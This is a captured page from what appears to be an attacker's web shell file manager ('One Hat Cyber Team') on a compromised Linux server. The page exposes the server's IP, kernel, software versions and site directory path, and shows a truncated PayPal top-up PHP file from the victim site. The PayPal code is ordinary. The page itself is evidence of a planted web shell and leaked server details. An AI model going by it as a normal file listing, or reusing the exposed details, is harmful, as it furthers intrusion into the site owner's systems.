⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.63
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
spread.com.ng
/
core
/
libs
/
paypal
/
View File Name :
paypal.php
"CAPTURE", "purchase_units" => array( array( "items" => array( array( "name" => cl_translate('Top up your account balance'), "description" => cl_translate('Pay to: {@site_name@}', array('site_name' => $cl['config']['name'])), "quantity" => 1, "unit_amount" => array( "currency_code" => ($cl['config']['site_currency']), "value" => $topup_amount ) ) ), "amount" => array( "currency_code" => ($cl['config']['site_currency']), "value" => $topup_amount, "breakdown" => array( "item_total" => array( "currency_code" => ($cl['config']['site_currency']), "value" => $topup_amount ) ) ) ) ), "application_context" => array( "shipping_preference" => "NO_SHIPPING", "return_url" => cl_link("native_api/wallet/pgw1_wallet_tup_success"), "cancel_url" => cl_link("native_api/wallet/pgw1_wallet_tup_cancel") ) ), true)); $headers = array(); $headers[] = 'Content-Type: application/json'; $headers[] = 'Authorization: Bearer '. $cl['paypal_access_token']; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $result = curl_exec($ch); if (curl_errno($ch)) { $data["err_code"] = curl_error($ch); } curl_close($ch); $result = json_decode($result); if (not_empty($result) && not_empty($result->links) && not_empty($result->links[1]) && not_empty($result->links[1]->href)) { $data = array( "status" => 200, "type" => "SUCCESS", 'url' => $result->links[1]->href ); } elseif(not_empty($result->message)){ $data = array( "status" => 400, 'err_code' => 'request_error', 'err_message' => $result->message ); }